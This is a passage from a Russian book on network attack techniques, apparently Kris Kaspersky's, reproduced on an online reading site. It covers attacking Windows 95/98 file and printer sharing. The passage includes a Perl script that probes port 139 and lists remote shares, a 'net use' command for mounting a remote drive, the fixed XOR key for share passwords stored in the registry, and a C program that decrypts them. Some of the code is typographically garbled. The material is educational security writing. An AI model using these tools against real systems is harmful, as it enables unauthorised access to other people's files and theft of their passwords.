KnigaRead.com/
KnigaRead.com » Компьютеры и Интернет » Программы » Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Крис Касперский, "ТЕХНИКА СЕТЕВЫХ АТАК" бесплатно, без регистрации.
Перейти на страницу:

Эта служба используется не только в локальных сетях, она так же необходима и для установки прямого кабельного соединения - популярного способа связи нотебука с компьютером. Доступ к разделяемым ресурсам осуществляется по прикладному протоколу SMB, работающего поверх любого транспортного протокола, совместимого с интерфейсом NetBIOS, например NBT (NetBIOS over TCP/IP). Поэтому, машина с установленной службой доступа к файлам и принтерам, при подключении к Internet становится полноценным сервером, обслуживающим клиентов!


Протокол NBT позволяет анонимному пользователю без предъявления своего имени и пароля получить некоторые сведения об удаленном компьютере. В частности - имена работающих на нем пользователей, групп и многое другое.

Для этого необходимо воспользоваться утилитой nbtstat.exe, поставляемой вместе с Windows.

Для того, чтобы проверить присутствует ли на узле служба доступа к файлам и принтерам достаточно попытаться установить с ним соединение по 139 порту. Если соединение установлено успешно, значит, служба есть.

Программа, приведенная ниже (на диске она содержится в файле “/SRC/139.pl”), работает как раз по такому алгоритму. Она запрашивает у пользователя имя или IP адрес узла и, если 139 порт открыт, выдает список разделяемых ресурсов.

· use Socket;
· print "Введите имя или IP адрес удаленного компьютера:";
· $server=«»;
· $yes="не";
· chomp $server;
· socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);
· if (connect(NNTP, sockaddr_in(139,inet_aton($server))))
· {
· open(FX,"|net VIEW \\$server");
· $yes=";
· close(FX);
·}
· print "Служба доступа к файлам и принтерам $yes установлена";
Результат ее работы может выглядеть так (жирным шрифтом показан ввод пользователя):
· Введите имя или IP адрес удаленного компьютера: 192.168.55.1
· Общие ресурсы на \192.168.55.1
·
·
· SERVER
·
· Сетевое имя Тип Использовать как Комментарий
·
·
· ____________________
· ASMLIB Диск
· ATACR Диск
· BLEAK Диск
· C Диск
· D Диск СД РОМ общего доступа
· Команда выполнена успешно.
·
·
· Служба доступа к файлам и принтерам установлена


 В строке “open(“|net VIEW \\$server”)” происходит вызов внешней утилиты net.exe, которая поставляется вместе с Windows. Разумеется, использовать ее можно и самостоятельно. Подключить любой из разделяемых ресурсов можно с помощью той же net.exe, передав ей следующие параметры: «net USE \адрес(имя узла)имя ресурса “пароль” /USER:”имя пользователя”». Например, подключение диска С узла 192.168.55.1 выглядит приблизительно таким образом:

· net use \192.168.55.1C "12345" /USER:"KPNC"

Если операция завершится успешно, то команда “dir \192.168.55.1C” выдаст содержимое диска С удаленного компьютера. Аналогичным образом осуществляется копирование и модификация документов. К сожалению, не все приложения поддерживают UNC пути, поэтому приходится подключать удаленный ресурс, как новый логический диск. Для этого достаточно кликнуть правой клавишей мышки по иконке «Сетевое окружение» и во всплывающем меню выбрать пункт «Подключить сетевой диск». Затем необходимо выбрать любую из доступных букв и указать путь к ресурсу. Если установить галочку «восстанавливать при входе в систему», то Windows предпримет попытку подключения к удаленному ресурсу при каждом входе в систему (или в сеть - в зависимости от остальных настоек).


Подключение сетевого диска

Способна ли защита Windows 95 (Windows 98) противостоять злоумышленникам, и может ли она гарантировать безопасность ресурсов компьютера? Операционная система позволяет назначать раздельные пароли для чтения и модификации содержимого дисков и папок. Но для аутентификации Windows95 (Windows 98) посылают клиенту как NT-хеш, так и LM-хеш, поэтому злоумышленник может за короткое время подобрать пароль, получив несанкционированный доступ к системе. (Подробнее об этом написано в главе «Атака на Windows NT») Но, в отличие от Windows NT, для Windows 95 (Windows 98) похоже, не существует никакого легального способа запретить использование LM-хешей. И даже если бы такой способ и существовал, он бы не здорово помог этой операционной системе. В Windows 95 (Windows 98) максимальная длина пароля ограничена восемью символами, причем строчечные и прописные буквы не различаются. Поэтому, злоумышленник может подобрать пароль за вполне приемлемое время.

Таким образом, категорически не допустимо на компьютерах, управляемых Windows 95 (Windows 98), предоставлять совместный доступ к ресурсам, особенно если существует выход в Internet. Причем, если злоумышленник получит доступ к диску, на котором установлена Windows (как правило, это диск С), его задача значительно упростится. (Многие пользователи разрешают чтение содержимого диска С не требуя пароля).

Пароли на все «зашаренные» ресурсы хранятся в ветке реестра HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurentVersionNetworkLanManимя ресурса Параметр “Parn1Erc” хранит зашифрованный пароль для полного доступа, а “Parn2Erc” - для доступа только на чтение. Для выяснения алгоритма шифровки нет необходимости прибегать к трудоемкому дизассемблированию кода. Достаточно исследовать несколько пар открытых и зашифрованных паролей (на своей машине такую операцию можно осуществить без труда).

Оказывается, вся «шифровка» сводится к побайтовой операции XOR каждого символа пароля с некоторым ключом, найти который можно «покскорив» открытый пароль зашифрованным. В результате этого (по крайне мере, в Windows 98) образуется следующая последовательность: {0x35; 0x9A; 0x4D; 0xA6; 0x53; 0xA9; 0xD4; 0x6A} [178].

В двоичной форме каждое из этих чисел представляют собой однородную смесь нулей и единиц, поэтому оказывают наибольшее влияние на шифруемый текст. А отсюда следует - вскрыть зашифрованный пароль, не зная ключа невозможно никаким другим методом, кроме полного перебора [179]. Но ключи идентичны на всех машинах, поэтому заведомо известны злоумышленнику, следовательно, найти оригинальный пароль можно без труда.

Ниже, для иллюстрации всего вышесказанного, приведен фрагмент реестра с компьютера “\SERVER” (на прилагаемом к книге компакт-диске он содержится в файле “/log/lm.reg”):

· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanMan]
·
· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManASMLIB]
· "Flags"=dword:00000102
· "Type"=dword:00000000
· "Path"="E:\ASMLIB"
· "Parm2enc"=hex:
· "Parm1enc"=hex:
· "Remark"="
·
· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManC]
· "Flags"=dword:00000101
· "Type"=dword:00000000
· "Path"="C:\"
· "Parm2enc"=hex: 04,a8,7e,92,66
· "Parm1enc"=hex:
· "Remark"="
·
· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManD]
· "Flags"=dword:00000191
· "Type"=dword:00000000
· "Path"="D:\"
· "Parm2enc"=hex:
· "Parm1enc"=hex:
· "Remark"="СД РОМ общего доступа"
·
· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManBLEAK]
· "Flags"=dword:00000193
· "Type"=dword:00000000
· "Path"="F:\BLEAK"
· "Parm2enc"=hex:
· "Parm1enc"=hex:
· "Remark"="
·
· [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManATACR]
· "Flags"=dword:00000191
· "Type"=dword:00000000
· "Path"="J:\ATACR"
· "Parm2enc"=hex:
· "Parm1enc"=hex:
· "Remark"="

Анализ позволяет установить - все ресурсы (доступные ресурсы указаны в параметрах “Path”), за исключением диска “C” не защищены паролем ни для чтения, ни для записи (об этом говорят пустые параметры “Parm1enc” и “Param2enc”). Для полного доступа к диску “C” требуется пароль, который в зашифрованном виде выглядит так: “0x4 0xA8 0x7E 0x92 0x66”. Один из способов его расшифровки демонстрирует программа, приведенная ниже (на прилагаемом к книге компакт диске она расположена в файле “/SRC/win9x.xor.c”):

· #include «stdio.h»
·
· main(int argc, char **argv)
· {
· int a=1,tmp;
· char xore=0x35;
· for (;a«argc;a++)
· {
· sscanf(argv[a],"%x", amp;tmp);
· printf("%c",tmp ^ xore);
· __asm
· {
· rol xore, 7;
·}
·}
· printf("n");
·
·}

Пример использования программы содержится в файле “/SRC/win9x.xor.bat” - необходимо передать в командной строке зашифрованный пароль в шестнадцатеричной форме, отделяя числа друг от друга пробелом, скажем так: win9x.xor.exe 0x5 0xAA 0x7D 0x96 0x63 0x99 0xE4 0x5A. А в ответ программа возвратит расшифрованный пароль (в данном случае “0000000”).

Конечно, получить доступ к реестру удаленного компьютера, имея лишь право на чтение диска, штатными средствами Windows невозможно. Поэтому, необходимо использовать утилиту, которая бы в отличие от стандартного «Редактора реестра» позволяла бы указывать путь к файлам реестра и умела бы работать с избранными ветвями, не считывая весь реестр целиком. (В большинстве случаев из-за низкой пропускной способности коммуникационных каналов прочитать все несколько мегабайт реестра оказывается чрезвычайно затруднительно, а то и вовсе невозможно).

Среди «домашних» пользователей широко распространено заблуждение, что на их компьютерах не содержится никакой секретной информации, и, следовательно, злоумышленнику воровать нечего. На самом же деле, большинство пользователей при входе в Internet не набирают пароль вручную, а используют возможность его сохранения в собственном профиле.

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*